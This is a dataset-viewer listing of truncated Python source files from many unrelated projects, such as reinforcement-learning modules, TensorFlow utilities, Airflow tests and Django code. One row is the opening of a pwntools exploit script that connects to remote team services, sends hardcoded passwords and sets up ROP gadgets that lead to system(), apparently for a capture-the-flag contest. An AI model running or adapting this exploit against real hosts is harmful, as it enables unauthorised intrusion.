id stringlengths 3 8 | content stringlengths 100 981k |
|---|---|
496597 | import torch
from rlil.nn import RLNetwork
from .approximation import Approximation
class Discriminator(Approximation):
def __init__(
self,
model,
optimizer,
name='discriminator',
**kwargs
):
model = DiscriminatorModule(model)
super()... |
496609 | import tensorflow as tf
from .math import sparse_tensor_diag_matmul, sparse_scalar_multiply
def rescaled_laplacian(adj):
"""Creates a tensorflow (rescale) laplacian matrix out of a
SparseTensorValue adjacency matrix."""
degree = tf.sparse_reduce_sum(adj, axis=1)
degree = tf.cast(degree, tf.float32)
... |
496617 | import math
import torch
import torch.nn as nn
import torch.nn.functional as F
from fairseq import utils
from fairseq.models import (
FairseqModel, FairseqEncoder, FairseqIncrementalDecoder,
register_model, register_model_architecture,
)
from examples.pervasive.module import (
build_convnet, build_aggreg... |
496643 | from pwn import *
import sys
team = int(sys.argv[2])
p = remote(sys.argv[1], 5000 + team)
greeting = 0x493018
pop_x19 = 0x400790
mov_x0_x19 = 0x400788
system = 0x400e38
fill = 0x4141414141414141
if team == 0:
p.send("letmeinplz\n")
elif team == 1:
p.send("letmein181\n")
elif team == 2:
p.send("letmein244\n")
elif... |
496652 | import pathlib
import pandas as pd
import pytest
from airflow.decorators import task
from astro import sql as aql
from astro.files import File
from astro.sql.operators.sql_decorator_legacy import transform_decorator as transform
from astro.sql.table import Table
from tests.sql.operators import utils as test_utils
cw... |
496655 | from abc import ABC, abstractmethod
class ModelAdaptor(ABC):
"""
Provides a unified interface for all emulation engines within ESEm.
Concrete classes must implement both :meth:`train` and :meth:`predict` methods.
See the `API documentation <../api.html#dataprocessor>`_ for a list of concrete
clas... |
496715 | import unittest
from katas.kyu_7.a_rule_of_divisibility_by_13 import thirt
class ThirtTestCase(unittest.TestCase):
def test_equals(self):
self.assertEqual(thirt(1234567), 87)
def test_equals_2(self):
self.assertEqual(thirt(321), 48)
def test_equals_3(self):
self.assertEqual(thir... |
496742 | import os
import re
import ast
from setuptools import setup
import PySignal
with open('PySignal.py', 'rb') as f:
contents = f.read().decode('utf-8')
def parse(pattern):
return re.search(pattern, contents).group(1).replace('"', '').strip()
def read(fname):
return open(os.path.join(os.path.dirname(__file_... |
496768 | import ezdxf
"""Começa configuração do desenho."""
# Cria um novo desenho
dwg = ezdxf.new(dxfversion='AC1032')
# Endereçar o layout do desenho
msp = dwg.modelspace()
"""Adiciona elementos ao layout."""
# Adiciona um traço no layout
msp.add_line(start=(5, 0), end=(5, 10))
# Adiciona um retângulo
retangulo = [(-20, 0... |
496775 | from os import path
import argparse
import json
import urllib
import urllib.request
import config
from utils import URL_to_filename
def load_recipes(filename):
"""Load recipes from disk as JSON
"""
with open(path.join(config.path_data, filename), 'r') as f:
recipes_raw = json.load(f)
print('{... |
496804 | course_config = {
"type": "object",
"patternProperties": {"": {"type": "array", "items": {"type": "string"}}},
}
grading_stage = {
"type": ["object", "null"],
"properties": {
"image": {"type": "string"},
"env": {"type": "object"},
"entrypoint": {"type": "array", "items": {"type"... |
496810 | from django import forms
from djangocms_text_ckeditor.fields import HTMLFormField
class SimpleTextForm(forms.Form):
text = HTMLFormField()
|
496811 | from ota_update.main.ota_updater import OTAUpdater
def download_and_install_update_if_available():
o = OTAUpdater('url-to-your-github-project')
o.download_and_install_update_if_available('wifi-ssid', 'wifi-password')
def start():
# your custom code goes here. Something like this: ...
# from ma... |
496824 | import unittest
from unittest import mock
import tempfile
from shutil import rmtree
from os import path, getpid
from quikey.directories import AppDirectories
from quikey.qkdaemon import (
write_pid,
read_pid,
delete_pid,
ShutdownHook,
DatabaseChangeHandler,
)
class PidManagementTestCase(unittest.... |
496844 | import demistomock as demisto # noqa: F401
from bs4 import BeautifulSoup
from CommonServerPython import * # noqa: F401
args = demisto.args()
response = requests.get(args.get("url"))
soup = BeautifulSoup(response.content, "html.parser")
article = soup.find("article").get_text()
_, article = article.split("Phishing Em... |
496854 | from swmmio.defs.constants import red, purple, lightblue, lightgreen
FLOOD_IMPACT_CATEGORIES = {
'increased_flooding': {
'fill': red,
},
'new_flooding': {
'fill': purple,
},
'decreased_flooding': {
'fill': lightblue,
},
'eliminated_flooding': {
'fill': lightg... |
496865 | from mock import patch
from django.test import TestCase
from django.utils.timezone import now
from pycon.bulkemail.models import INPROGRESS, BulkEmail, UNSENT, ERROR, SENT
from pycon.bulkemail.tasks import send_bulk_emails, MAX_TIME, RETRY_INTERVAL
from pycon.bulkemail.tests.factories import BulkEmailFactory
@patch... |
496870 | import ConfigParser
from pylease.logger import LOGME as logme # noqa
import os
import pylease.cmd
import pylease.ext
__version__ = '0.3.2'
class Pylease(object):
"""
The main class of Pylease, which contains all the needed resources for extensions. This class is initialised once and by Pylease,
which i... |
496917 | import hashlib
from Crypto.Signature import PKCS1_PSS
from Crypto.Hash import SHA256
from jose import jwk
from jose.utils import base64url_encode, base64url_decode, base64
def create_tag(name, value, v2):
if v2:
b64name = name
b64value = value
else:
b64name = base64url_encode(name.enco... |
496961 | import mock
from twindb_backup.share import share
@mock.patch('twindb_backup.share.print')
# @mock.patch('twindb_backup.share.get_destination')
def test_share_backup_cli(mock_print):
mock_config = mock.Mock()
mock_config.get.return_value = "/foo/bar"
mock_dst = mock.Mock()
mock_dst.remote_path = '/foo... |
496973 | import os
from dlocr.densenet.core import DenseNetOCR
from dlocr.densenet.data_loader import load_dict
default_densenet_weight_path = os.path.join(os.getcwd(), os.path.dirname(__file__),
"../weights/weights-densent-init.hdf5")
default_densenet_config_path = os.path.join(os.... |
496974 | import factory
from factory.fuzzy import FuzzyText
from fjord.feedback.tests import ProductFactory
from fjord.suggest.providers.trigger.models import TriggerRule
class TriggerRuleFactory(factory.DjangoModelFactory):
class Meta:
model = TriggerRule
slug = FuzzyText()
title = 'OU812'
descripti... |
496980 | import pytest # noqa
import requests
import json
import gevent
from eth_utils import is_same_address
from microraiden.constants import API_PATH
from microraiden.proxy.paywalled_proxy import PaywalledProxy
def test_resources(doggo_proxy, api_endpoint_address, users_db):
auth_credentials = ('<PASSWORD>', 'password... |
497000 | import pyredner
import numpy as np
import torch
# From the test_single_triangle.py test case but with viewport
pyredner.set_use_gpu(torch.cuda.is_available())
cam = pyredner.Camera(position = torch.tensor([0.0, 0.0, -5.0]),
look_at = torch.tensor([0.0, 0.0, 0.0]),
up = tor... |
497003 | import torch
from .base_sampler import BaseSampler
class SelectiveIoUSampler(BaseSampler):
def __init__(self, **kwargs):
pass
def _sample_pos(self, **kwargs):
raise NotImplementedError
def _sample_neg(self, **kwargs):
raise NotImplementedError
def sample(self, assign_resul... |
497019 | from jsonpath_rw import parse
def get_cjson_energy(cjson):
energy = parse('properties.totalEnergy').find(cjson)
if energy:
return energy[0].value
return None
|
497042 | import uasyncio as asyncio
from homie.constants import STRING, T_SET, TRUE, FALSE
from homie.validator import payload_is_valid
class BaseProperty:
def __init__(
self,
id,
name=None,
settable=False,
retained=True,
unit=None,
datatype=STRING,
format=N... |
497075 | import numpy
import scipy.stats
import math
def one_hot(array, N):
"""
Convert an array of numbers to an array of one-hot vectors.
:param array: classes to convert
:type array: numpy.ndarray
:param N: number of classes
:type N: int
:return: one-hot vectors
:rtype: numpy.ndarray
""... |
497077 | from docutils import nodes
from docutils.parsers.rst import Directive
from docutils.parsers.rst import directives
import urllib.parse
icon = '<svg version="1.1" width="16" height="16" class="octicon octicon-file-code" viewBox="0 0 16 16" aria-hidden="true"><path fill-rule="evenodd" d="M4 1.75C4 .784 4.784 0 5.75 0h5.5... |
497107 | VERSION_MAJOR = "0"
VERSION_MINOR = "5"
VERSION_TINY = "0"
VERSION = "%s.%s.%s" % (VERSION_MAJOR, VERSION_MINOR, VERSION_TINY)
|
497108 | for i in range(1,100):
if i % 15 == 0:
print("FizzBuzz,", end=' ')
elif i%3==0:
print("Fizz,", end=" ")
elif i%5==0:
print("Buzz,",end=' ')
else:
print(i,",",end=" ")
print(100) |
497133 | import pytest
from socket import inet_aton
from uuid import uuid4
from proxy_requests import ProxyRequests, ProxyRequestsBasicAuth
from proxy_requests import requests
# pytest -rsA tests/test_proxy_requests.py
@pytest.fixture
def henry_post_bucket():
url = 'https://ptsv2.com/t/%s' % str(uuid4()).replace('-', '')
... |
497145 | import numpy as np
import matplotlib.pyplot as plt
import os
from sklearn import svm
from sklearn.decomposition import PCA
from sklearn.pipeline import make_pipeline
from sklearn.preprocessing import MinMaxScaler
from sklearn.externals import joblib
import torch
import torchvision
def load(dataloader):
"""Load... |
497223 | import numpy as np
from scipy.stats import norm as ndist
# randomization mechanism
class normal_sampler(object):
"""
Our basic model for noise, and input to
selection algorithms. This represents
Gaussian data with a center, e.g. X.T.dot(y)
in linear regression and a covariance Sigma.
This o... |
497285 | from torchsupport.data.namedtuple import namedtuple
class Environment:
data_type = namedtuple("Data", [
"state", "action", "rewards", "done"
])
def reset(self):
raise NotImplementedError
def push_changes(self):
pass
def pull_changes(self):
pass
def action_space(self):
raise NotImplem... |
497335 | import sys
from easyprocess import EasyProcess
python = sys.executable
prog = """
import time
for i in range(3):
print(i, flush=True)
time.sleep(1)
"""
print("-- no timeout")
stdout = EasyProcess([python, "-c", prog]).call().stdout
print(stdout)
print("-- timeout=1.5s")
stdout = EasyProcess([python, "-c", ... |
497344 | def serialize_sqla(data, serialize_date=True):
"""
Serialiation function to serialize any dicts or lists.
This is needed for conversion of sqlalchemy objects to JSON format.
"""
# If has to_dict this is asumed working and it is used
if hasattr(data, 'to_dict'):
return data.to_dict(seria... |
497346 | from pydantic import Field
from app.schemas.base import AbstractResourceModel, APIModel
from app.schemas.mixin import TimestampMixin
class BaseHTML(APIModel):
id: str = Field(..., title="SHA256", alias="sha256")
class HTML(AbstractResourceModel, TimestampMixin):
"""HTML"""
id: str = Field(..., title="... |
497362 | import unittest
from unittest.mock import patch
from leetcode.coding.editor import edit
class TestEditor(unittest.TestCase):
@patch('leetcode.coding.editor.os.chdir')
@patch('leetcode.coding.editor.subprocess.call')
@patch('leetcode.coding.editor.os.environ.get')
def test_edit(self, mock_get, mock_call... |
497470 | import datetime
import vobject
from django import http
from django.shortcuts import get_object_or_404, render
from django.utils.timezone import utc
from django.utils import timezone
from django.core.cache import cache
from django.conf import settings
from django.db.models import Q
from django.core.urlresolvers import... |
497513 | import torch
import torch.nn as nn
from torchvision.models import vgg16
class Vgg16(torch.nn.Module):
def __init__(self):
super(Vgg16, self).__init__()
features = list(vgg16(pretrained=True).features)[:23]
self.layers = nn.ModuleList(features).eval()
for param in self.parameters():... |
497568 | import unittest
from src.underscore import _
class TestObjects(unittest.TestCase):
def test_keys(self):
self.assertEqual(set(_.keys({"one": 1, "two": 2})),
{'two', 'one'}, 'can extract the keys from an object')
def test_values(self):
self.assertEqual(set(_.values({"o... |
497574 | from libs.config import alias
from libs.myapp import is_windows
from os import system
@alias(func_alias="cls")
def run():
"""
clear
Clear screen.
"""
if (is_windows(False)):
system("cls")
else:
system("clear")
|
497576 | import numpy as np
import pgl
import paddle.fluid as fluid
def to_undirected(graph):
""" to_undirected """
inv_edges = np.zeros(graph.edges.shape)
inv_edges[:, 0] = graph.edges[:, 1]
inv_edges[:, 1] = graph.edges[:, 0]
edges = np.vstack((graph.edges, inv_edges))
edges = np.unique(edges, ax... |
497591 | import os
import typing as t
from pathlib import Path
from starwhale.utils import console, in_production
from starwhale.consts import DefaultYAMLName, DEFAULT_PAGE_IDX, DEFAULT_PAGE_SIZE
from starwhale.base.uri import URI
from starwhale.base.type import URIType, EvalTaskType, InstanceType
from starwhale.base.view impo... |
497592 | from typing import Callable
from unittest.mock import patch
import pytest
from botocore.config import Config
from botocore.stub import Stubber
from aws_lambda_powertools.utilities.batch import PartialSQSProcessor, batch_processor, sqs_batch_processor
from aws_lambda_powertools.utilities.batch.exceptions import SQSBat... |
497604 | from sklearn.cluster import MeanShift
from sklearn.datasets.samples_generator import make_blobs
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from matplotlib import style
style.use('ggplot')
# Create random data points whose centers are the following
centers = [[20, 0, 0], [0, 20, 0], [0, 0... |
497615 | n = int(input())
a = list(map(int, input().split()))
b = list(map(int, input().split()))
print('Yes' if sum(x * y for x, y in zip(a, b)) == 0 else 'No') |
497620 | from hippy.klass import def_class
from hippy.builtin_klass import k_Exception
k_LogicException = def_class('LogicException', [], extends=k_Exception)
k_BadFunctionCallException = def_class('BadFunctionCallException', [],
extends=k_LogicException)
k_BadMethodCallException = def_cl... |
497624 | from setuptools import setup
from setuptools.extension import Extension
import numpy as np
import os
import re
from glob import glob
from pathlib import Path
with open(os.path.join(os.path.dirname(__file__), "econml", "_version.py")) as file:
for line in file:
m = re.fullmatch("__version__ = '([^']+)'\n", ... |
497671 | from utils.db.mongo_orm import *
class TestEnvParam(Model):
class Meta:
database = db
collection = 'testEnvParam'
# Fields
_id = ObjectIdField()
name = StringField(field_name='name')
paramValue = StringField(field_name='paramValue')
testEnvId = ObjectIdField()
description ... |
497682 | import pytest
import aerosandbox.numpy as np
import casadi as cas
def test_norm_vector():
a = np.array([1, 2, 3])
cas_a = cas.DM(a)
assert np.linalg.norm(a) == np.linalg.norm(cas_a)
def test_norm_2D():
a = np.arange(9).reshape(3, 3)
cas_a = cas.DM(a)
assert np.linalg.norm(cas_a) == np.lina... |
497687 | import tensorflow as tf
from tensorflow.python.framework import ops
_trace_norm = tf.load_op_library('trace_norm.so')
@ops.RegisterGradient("TraceNorm")
def _trace_norm_grad(op, grad, g_u, g_v):
"""The gradients for `trace_norm`.
Args:
op: The `trace_norm` `Operation` that we are differentiating, which ... |
497746 | import pyecharts.options as opts
from pyecharts.charts import Line
from pyecharts.faker import Faker
c = (
Line()
.add_xaxis(Faker.choose())
.add_yaxis("商家A", Faker.values(), areastyle_opts=opts.AreaStyleOpts(opacity=0.5))
.add_yaxis("商家B", Faker.values(), areastyle_opts=opts.AreaStyleOpts(opacity=0.5)... |
497765 | import requests
from requests.auth import HTTPBasicAuth
from yelp_beans.data_providers.data_provider import DataProvider
class RestfulJSONDataProvider(DataProvider):
def __init__(self, url, username=None, password=<PASSWORD>, timeout=60.0):
self.url = url
self.username = username
self.pas... |
497795 | import unittest
import logging
import pytest
from botoflow.core.async_event_loop import AsyncEventLoop
from botoflow.core.async_task import AsyncTask
from botoflow.core.decorators import task
from botoflow.core.base_future import BaseFuture
from botoflow.core.exceptions import CancellationError
from botoflow.logging_f... |
497837 | import csv
from django.core.management.base import BaseCommand
from api.models import Country, District
from django.db import transaction
from django.core.exceptions import ObjectDoesNotExist, MultipleObjectsReturned
class Command(BaseCommand):
help = 'Maps some orphan districts to countries. join_districts_to_co... |
497855 | import logging
import os
from energym.envs.env_fmu import EnvFMU
from energym.envs.utils.weather import MOS
from energym.envs.weather_names import WEATHERNAMES
import energym
logger = logging.getLogger(__name__)
class EnvModFMU(EnvFMU):
"""Base class for Modelica based FMU simulation models.
Subclasses Env... |
497856 | import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
# from tensorboardX import SummaryWriter
import os
import logging
from utils.utils import *
from utils.compute_flops import lookup_table_flops
from utils.transfer_archs import decode_cfg
import torch.distributed as dist
from ... |
497865 | import numpy as np
import pdb
import h5py
import os
import matplotlib
matplotlib.use('agg')
import matplotlib.pyplot as plt
from recursive_planning.infra.datasets.save_util.record_saver import HDF5SaverBase
from utils import AttrDict
def pad_traj_timesteps(traj, max_num_actions):
"""
pad images and actions wi... |
497875 | import os, threading, abc, time
class TimedIterateThread(threading.Thread):
__metaclass__ = abc.ABCMeta
def __init__(self, iter_sleep = None):
super(TimedIterateThread, self).__init__()
self.exit = threading.Event()
self.iter_sleep = iter_sleep
@abc.abstractmethod
def iterate... |
497895 | import pytest
from studying.shipment import RecordShipment
pytestmark = [pytest.mark.django_db]
@pytest.fixture
def course(mixer):
return mixer.blend('products.Course', name='Кройка и шитьё', name_genitive='Кройки и шитья')
@pytest.fixture
def record(mixer, course):
return mixer.blend('products.Record', c... |
497912 | from invoke import run
def print_and_run(cmd, **run_kwargs):
print(cmd)
return run(cmd, **run_kwargs)
|
497926 | import pytest
from blacksheep.client import ClientSession, ConnectionTimeout, RequestTimeout
from . import FakePools
@pytest.mark.asyncio
async def test_connection_timeout():
fake_pools = FakePools([])
fake_pools.pool.sleep_for = (
5 # wait for 5 seconds before returning a connection; to test timeo... |
497936 | import os
c = get_config()
c.JupyterHub.spawner_class = 'marathonspawner.MarathonSpawner'
c.JupyterHub.ip = '0.0.0.0'
c.JupyterHub.hub_ip = '0.0.0.0'
c.JupyterHub.cmd = 'start-singleuser.sh'
c.JupyterHub.cleanup_servers = False
c.MarathonSpawner.app_prefix = 'jupyter'
c.MarathonSpawner.app_image = 'jupyterhub/singl... |
497952 | import json
from unittest import mock, skip
import jira
from django.test import TestCase
from django.utils import timezone
from jira import User
from waldur_core.core.utils import datetime_to_timestamp
from waldur_mastermind.support import models
from waldur_mastermind.support.backend.atlassian import ServiceDeskBack... |
497976 | import unittest
from dojo import *
class DojoTest(unittest.TestCase):
def test_true(self):
self.assertTrue(main())
def teste_hash_1(self):
self.assertEqual(MyHashMap._hash(53), 5)
def teste_hash_2(self):
self.assertEqual(MyHashMap._hash(56), 0)
def test_get_1(self):
... |
497984 | import numpy
from joblib import Parallel, delayed
from numba import njit
from scipy.spatial.distance import pdist, cdist
from sklearn.metrics.pairwise import euclidean_distances
from sklearn.utils import check_random_state
from tslearn.utils import to_time_series, to_time_series_dataset, ts_size, \
check_equal_siz... |
498004 | from django.contrib.contenttypes.models import ContentType
from django.conf import settings
from django.test import TestCase
from ..utils import (
get_properties_from_model, get_direct_fields_from_model,
get_relation_fields_from_model, get_model_from_path_string)
from ..mixins import GetFieldsMixin
from ..mode... |
498077 | import os
from itertools import product
import auditing_args
from collections import defaultdict
BATCH_SIZE = 50
data_dir = auditing_args.args["save_dir"]
h5s = [fname for fname in os.listdir(data_dir) if fname.endswith('.h5')]
def get_cfg(h5):
splt = h5.split('-')
if 'no' in h5:
return ('no', '.', s... |
498095 | from .conv import conv_layer, norm_layer, ConvModule
from .nms import multiclass_nms
from .anchor_generator import AnchorGenerator
from .bbox import delta2bbox, bbox2result
__all__ = ['conv_layer', 'norm_layer', 'ConvModule', 'nms', 'AnchorGenerator', 'delta2bbox', 'multiclass_nms', 'bbox2result']
|
498111 | from .bitmovin_error import BitmovinError
from .bitmovin_api_error import BitmovinApiError
from .invalid_status_error import InvalidStatusError
from .invalid_type_error import InvalidTypeError
from .unique_constraint_violation_error import UniqueConstraintViolationException
from .missing_argument_error import MissingAr... |
498117 | import torch
import gym
import numpy as np
from .utils import make_tensor
class TorchModel(torch.nn.Module):
"""Base class for all pytorch models"""
def __init__(self, observation_space):
"""Initializes the model with the given observation space
Currently supported observation spaces are:
... |
498136 | from ..qemu_config import QemuArchParams
QEMU_ARCH = QemuArchParams(linux_arch='x86_64',
kconfig='''
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y''',
qemu_arch='x86_64',
kernel_path='arch/x86/boot/bzImage',
kernel_command_line='console=ttyS0',
extra_qemu_params=[''])
|
498162 | from abc import ABC
from pathlib import Path
from typing import Dict
import pytest
from torch import nn
from nncf import NNCFConfig
from nncf.common.quantization.structs import QuantizerConfig
from nncf.torch.quantization.algo import QuantizationController
from tests.common.helpers import TEST_ROOT
from tests.torch.s... |
498197 | from plenum.common.constants import DOMAIN_LEDGER_ID
from plenum.server.batch_handlers.batch_request_handler import BatchRequestHandler
from plenum.server.database_manager import DatabaseManager
from plenum.test.plugin.demo_plugin import AUCTION_LEDGER_ID
class AuctionBatchHandler(BatchRequestHandler):
def __ini... |
498213 | import logging
import numpy
from keras.layers import np
from keras.utils import Sequence
import utils
import utils_logging
from utils import IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANNELS
FRAME_INTERVAL = 15
logger = logging.Logger("LstmImgBatchGenerator")
utils_logging.log_info(logger)
class LstmImgBatchGenerator(Sequ... |
498255 | from __future__ import print_function
import os
import time
from datetime import datetime
import math
import argparse
import logging
import pickle
import yaml
import cv2 as cv
import numpy as np
# from skimage.measure.simple_metrics import compare_psnr
import torch
import torch.nn as nn
import torch.optim as optim
im... |
498269 | class GuetError(Exception):
pass
class InvalidInitialsError(GuetError):
pass
class UnexpectedError(GuetError):
pass
|
498300 | from anyapi import AnyAPI
from anyapi.utils import retry
from requests.exceptions import MissingSchema
import pytest
def test_retry():
"""Test retry utility"""
# I know that I should test retry and retry_until separately
# But I couldn't find any idea to test retry_until separately
try:
inval... |
498317 | import re
import os
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.cm as cm #color map
import getpass
import seaborn as sns
from scipy.stats import spearmanr, pearsonr, sem
import itertools
import matplotlib.ticker as ticker
# import statsmodels.api as sm
def main():
Build... |
498331 | def my_dir(obj):
return dir(obj)
class SingleClassInModule(object):
def __init__(self, prop):
raise NotImplementedError()
def not_implemented(self, param):
raise NotImplementedError()
|
498333 | from .grammaregex import match_tree, find_tokens, print_tree, verify_pattern, PatternSyntaxException
|
498349 | import testinfra
def test_service_is_running_and_enabled(Service):
kibana = Service('kibana')
assert kibana.is_running
assert kibana.is_enabled
|
498371 | from setuptools import setup, find_packages, Command
import os
setup(
name="pythonparser",
version="1.4",
author="whitequark",
author_email="<EMAIL>",
url="https://github.com/m-labs/pythonparser",
description="A Python parser intended for use in tooling",
long_description=open("README.md").... |
498384 | import sys
from pathlib import Path
def set_api(key):
token_file = Path(__file__).parent.absolute() / "key"
token_file.write_text(key)
print("The API-token " + key + " was entered and saved.")
|
498397 | import dnaweaver as dw
import time
cheap_dna_offer = dw.CommercialDnaOffer(
name="CheapDNA.",
sequence_constraints=[
dw.NoPatternConstraint(enzyme="BsaI"),
dw.SequenceLengthConstraint(max_length=4000),
],
pricing=dw.PerBasepairPricing(0.10),
)
oligo_dna_offer = dw.CommercialDnaOffer(
... |
498440 | import sys
import pandas as pd
import numpy as np
def add_info(df):
k = df.columns
ks = [len(i) for i in k]
ks = max(ks)
focus = k[2]
focus_value = df[focus]
best_focus_value = max(focus_value)
best_row = df[df[focus] == best_focus_value]
n = len(df[k[0]])
idx = list(range(1,n+1)) +... |
498462 | import numpy
from btypes.big_endian import *
import gx
import logging
logger = logging.getLogger(__name__)
class Header(Struct):
magic = ByteString(4)
section_size = uint32
shape_count = uint16
__padding__ = Padding(2)
shape_offset = uint32
index_offset = uint32
unknown0_offset = uint32
... |
498484 | import os
from . import recordtypes as rt
from .recordreader import RecordReader
from .records import FormatRecord
class Format(object):
__slots__ = ('code', 'is_builtin', '_is_date_format')
def __init__(self, code):
self.code = code
self.is_builtin = False
self._is_date_format = None... |
498543 | import json
import os
import random
from torch.utils.data import Dataset
from PIL import Image
from PIL import ImageFile
ImageFile.LOAD_TRUNCATED_IMAGES = True
Image.MAX_IMAGE_PIXELS = None
from data.utils import pre_caption
import os,glob
class pretrain_dataset(Dataset):
def __init__(self, ann_file, laion_path... |
498547 | class AmazonEvalF(object):
PROD_ID = 'prod_id'
CAT = 'cat'
REV1 = 'rev1'
REV2 = 'rev2'
REV3 = 'rev3'
REV4 = 'rev4'
REV5 = 'rev5'
REV6 = 'rev6'
REV7 = 'rev7'
REV8 = 'rev8'
SUMM1 = 'summ1'
SUMM2 = 'summ2'
SUMM3 = 'summ3'
REVS = [REV1, REV2, REV3, REV4, REV5, REV6, ... |
498566 | import re
"""
Load all cleaned text files from wikipedia and convert them to clean
line by line sentences text.
"""
# based histogram of an output, 50 time step for LSTM would be good!
#input location of text files
input_file = 'data/raw.en/englishText_'
# output location
output_file = 'data/wiki_sentences'
# ref... |
498568 | import pytest
from httpx import AsyncClient
from main import app
from dotenv import load_dotenv
from services.helpers.alena import cleaning_service
from pathlib import Path
import os
import sys
load_dotenv()
headers = {
'Authorization': 'Bearer {}'.format(os.environ.get('FILE_MANAGER_BEARER_TOKEN'))
}
_ORIGINAL... |
498592 | import json
import os
# Change the "report_elements" array in the config.json file
# input is an array, for exemple : ["facebook", "twitter"]
def modules_update(self, modules):
new_config = self.CONFIG
new_config["report_elements"] = modules
try:
with open(self.CONFIG["config_path"], 'w') as fp:
... |
498605 | from django.conf.urls import url, include
from nimbus.apps import debug_urls
from . import views
urlpatterns = debug_urls()
urlpatterns += [
url(r"^$", views.api_root, name="api_root"),
url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),
url(r'^api-token-auth$', 'rest_framewor... |
498643 | from dacy.augmenters import (
create_char_swap_augmenter,
create_spacing_augmenter,
create_char_random_augmenter,
create_char_replace_augmenter,
)
from spacy.lang.da import Danish
from spacy.training import Example
def test_create_char_swap_augmenter():
aug = create_char_swap_augmenter(doc_level=1... |
498647 | import numpy as np
from numpy.random import choice
from scipy.stats import multivariate_normal as mvn
from .marginals import gmm_marginal_cdf
from .parameter import GMCParam
__all__ = ['random_gmcm']
def random_gmcm(n: int, param: GMCParam):
"""
Generates random variables from a Gaussian Mixture Copula Mode... |
498665 | import re
import numpy as np
from tool.runners.python import SubmissionPy
class SilvestreSubmission(SubmissionPy):
def parse(self, s):
# "#1400 @ 873,28: 11x27"
rec = re.compile(r"^#(\d+) @ (\d+),(\d+): (\d+)x(\d+)$")
rectangles = [rec.match(row) for row in s.splitlines()]
rectangl... |
498831 | from unittest import TestCase
from app.templating.summary.answer import Answer
class TestAnswer(TestCase):
def test_create_answer(self):
# Given
answer_schema = {'id': 'answer-id', 'label': 'Answer Label', 'type': 'date'}
user_answer = 'An answer'
# When
answer = Answer(... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.